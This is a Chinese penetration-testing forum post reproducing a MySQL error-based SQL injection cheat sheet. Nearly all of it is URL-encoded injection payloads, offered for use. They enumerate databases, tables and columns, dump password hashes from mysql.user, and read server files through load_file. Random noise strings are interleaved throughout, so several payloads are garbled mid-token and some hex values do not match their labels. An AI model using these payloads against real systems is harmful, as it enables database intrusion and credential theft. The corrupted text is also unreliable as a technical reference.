中国网络渗透测试联盟

标题: Mysql暴错注入参考（pdf） [打印本页]
作者: admin    时间: 2013-7-27 11:00
标题: Mysql暴错注入参考（pdf）
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
  T; Z0 X9 y; i5 q3 _6 T: V% `7 H- f# o* o2 j, h
/ d' }+ i1 l( v" j7 H0 K) N% r
Mysql暴错注入参考（pdf），每天一贴。。。# S1 {0 ?- o3 U. L& d
" [8 s8 i5 b) I% W
MySql Error Based Injection Reference
" I, L% {) k2 W$ H3 Z[Mysql暴错注入参考]
- [2 o& @6 p' y" O% C. F" LAuthornig0s19925 h: M& ~: E* X% d
Blog:http://pnig0s1992.blog.51cto.com/7 O- r4 C, g! v+ D/ J
TeAm:http://www.FreeBuf.com/% ?2 `6 X8 V9 {. q1 E0 m
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
& ]& y7 l' ]3 W: E小部分版本使用name_const()时会报错.可以用给出的Method.2测试
2 [' z: E2 \) `5 M+ [6 p查询版本:
$ q0 @3 p  p4 x8 `3 gMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
2 {2 e% @: o# Q, Kjoin+(select+name_const(@@version,0))b)c)
4 D3 U( u! F$ l2 b! i; s- r6 _2 AMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
' _* m& y" M  @, Y6 F0 \' Vup by a)b)3 T; k( p% p0 `  |, V) h9 O8 L) y
查询当前用户:
5 s  y. R9 f/ ]3 A9 UMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)0 E1 k! M5 p, N
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r. E/ o% u& z1 m& v- v
and(0)*2))x+from+information_schema.tables+group+by+x)a)
" V% B; G$ |8 j0 g) L7 D8 Q查询当前数据库:
( s8 i2 Z% @4 V& B  c% j: F) ZMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)7 h: _- I. W; ]2 v7 h. u  C) m
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo% E4 F1 D' [8 V6 ~# K* b9 K! B
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)0 ^. H9 O0 e4 D  L% x
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+9 n& e! x. n6 P+ ^
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
! \( F* q9 E: |- g8 F3 A3 x& W. |( z顺序替换
! O9 D6 `! s1 X! G1 f( f( B* |' @) X爆指定库数目:
( D! W- Q2 E% Zand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
' Z; ?  N# K1 c/ Pable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group. i7 W8 ?3 ], [: C) l, E# H8 [1 w
+by+x)a)+and+1=1 0x6D7973716C=mysql
* P3 ~' z7 i) }, W3 C依次爆表:9 U8 l5 [' W1 z- a
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t$ B; p* Y6 F# U% p
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
- B: L6 @0 B- U! {( W; tbles+group+by+x)a)+and+1=1
7 w9 d. ]& M, ^- I$ A0x6D7973716C=Mysql 将n顺序替换
, M6 w# v" ?5 g! |  L" n爆表内字段数目:
+ Z# B* ^& `: b9 y& _" pand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
5 B1 V& n2 r" ]5 C! z1 |$ D+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
9 f' U- V5 f$ W. K2 j- F  U0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=16 x8 u. g9 \6 x0 e8 |; A
依次爆字段:4 d3 [; t* ^' t( E: Y3 ~
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
4 j, A/ [5 |, N9 p8 B( t4 F: o+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1' T/ R+ D) I' [! e
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
: h) v# A. _- d# m: ?( H, t" Q依次暴内容:* n/ E) R, O3 i# o* `
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche5 ^8 F6 G- k9 V& r) f" }9 H% S
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
7 \  W4 k+ F2 [# E, h5 N将n顺序替换2 |4 y* r; P1 [/ h# `
爆文件内容:% L& Z5 O. h9 g4 h1 |  x3 i3 G
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a8 j* h& |- q9 t* O! L
from+information_schema.tables+group+by+a)b)   ]  J$ ^, D. y
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节; W+ X' D7 u7 E. \
Thx for reading.0 y7 _- e/ m- O. }

6 a' f' o2 s% I不要下载也可以，
; k! L, b8 P1 w) Z  r. ?2 K



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2